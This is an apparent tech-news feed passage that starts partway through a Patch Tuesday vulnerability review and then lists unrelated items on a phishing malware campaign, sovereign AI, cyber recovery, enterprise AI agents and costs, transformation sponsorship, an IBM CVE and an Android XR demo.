CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Phantom Stealer Campaign Abuses UPS and Tax Audit Emails to Steal Credentials

Sat, 25 Jul 2026 19:00:38 +0200

A multi-stage phishing campaign that impersonates trusted business communications, including a global logistics provider and a government tax authority, to deploy Phantom Stealer v3.5.0, a credential-harvesting malware that exfiltrates data via SMTP. Documented by Seqrite, the campaign uses two distinct phishing lures sharing an identical infection chain. The first impersonates UPS Forwarding Hub, presenting fake […]

The post Phantom Stealer Campaign Abuses UPS and Tax Audit Emails to Steal Credentials appeared first on Cyber Security News.

Sovereign AI has become the public-sector CIO’s control problem

Sat, 25 Jul 2026 18:57:42 +0200

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
Model control: Which models clear which workloads, and under what validation.
Infrastructure control: Whether critical workloads run in approved environments.
Operational control: Whether AI-assisted actions are logged, monitored and reversible.
Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is. Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

Can we classify AI workloads by public-service risk?
Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
Can we restrict which models are approved for which data classes and functions?
Can we reconstruct an AI-assisted action in enough detail to explain it?
Can we change providers without losing continuity or institutional knowledge?
Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Principles every enterprise must test before the attack arrives

Sat, 25 Jul 2026 18:55:54 +0200

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 18:55:50 +0200

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Workforce impact

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption

Sat, 25 Jul 2026 18:55:49 +0200

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Sponsor mismatch is the silent killer of enterprise transformation

Sat, 25 Jul 2026 18:55:49 +0200

Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.

The questions were not coming from the delivery teams. They were coming from the executive sponsor.

The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.

This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.

Most program failures are not execution failures. They are sponsor mismatches.

When governance becomes a debate about delivery practices

When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.

You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.

None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.

When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.

The compounding cost is not unique to any single program. PMI’s research on executive sponsorship consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.

Authority is rarely the issue. Literacy is

When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?

In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.

This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.

Harvard Business Review’s research on effective executive sponsorship has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.

Prosci’s longstanding benchmark studies on change management have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.

Shift the conversation from delivery practices to business risk

When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.

On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.

The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.

This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.

In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.

The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.

There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:

If the decision has to go above the sponsor, they are not the sponsor.

Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.

For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.

A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

ICYMI: the 7 biggest tech stories of the week, from the Samsung Galaxy Z Fold 8 to the Garmin Cirqa

Sat, 25 Jul 2026 11:11:48 +0200

There was a lot of top-tier tech content published on TechRadar this week, and these are the highlights.

Stilvoll und sicher Verreisen

Sat, 25 Jul 2026 11:03:24 +0200

Stilvoll und sicher Verreisen

Daniel Richey Sa., 25.07.2026 - 07:00

Die Koffer sind gepackt, der Sommerurlaub ruft, und irgendwo zwischen Sonnencreme und Steckdosenadapter liegt auch der Reisepass bereit. Mit dieser Hülle im Design einer bekannten interstellaren Weltraumflotte reist der Ausweis diesen Sommer nicht nur sicher, sondern auch mit deutlich mehr Stil.

Tipps & Tools

Weiterlesen über Stilvoll und sicher Verreisen

CVE-2022-40747 | IBM InfoSphere Information Server 11.7 XML Data xml external entity reference (EUVD-2022-44015 / XFDB-236584)

Sat, 25 Jul 2026 10:24:43 +0200

A vulnerability marked as problematic has been reported in IBM InfoSphere Information Server 11.7. This issue affects some unknown processing of the component XML Data Handler. The manipulation leads to xml external entity reference. This vulnerability is traded as CVE-2022-40747. It is possible to initiate the attack remotely. There is no exploit available. It is suggested to upgrade the affected component.

Building a Mixed-Reality Tour Guide with Android XR, the Geospatial API, and Gemini

Sat, 25 Jul 2026 10:15:35 +0200

Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XR

At this year's Google I/O, we announced an update for spatial experiences: the Geospatial API is now available as a preview in ARCore for Jetpack XR. By bringing Google's Visual Positioning System (VPS) to Android XR, Android XR enables anchoring digital content to the physical world with sub-meter accuracy and precise orientation in supported areas.* To explore what the Geospatial API could unlock, our team built a demo: the XR Geospatial Tour.

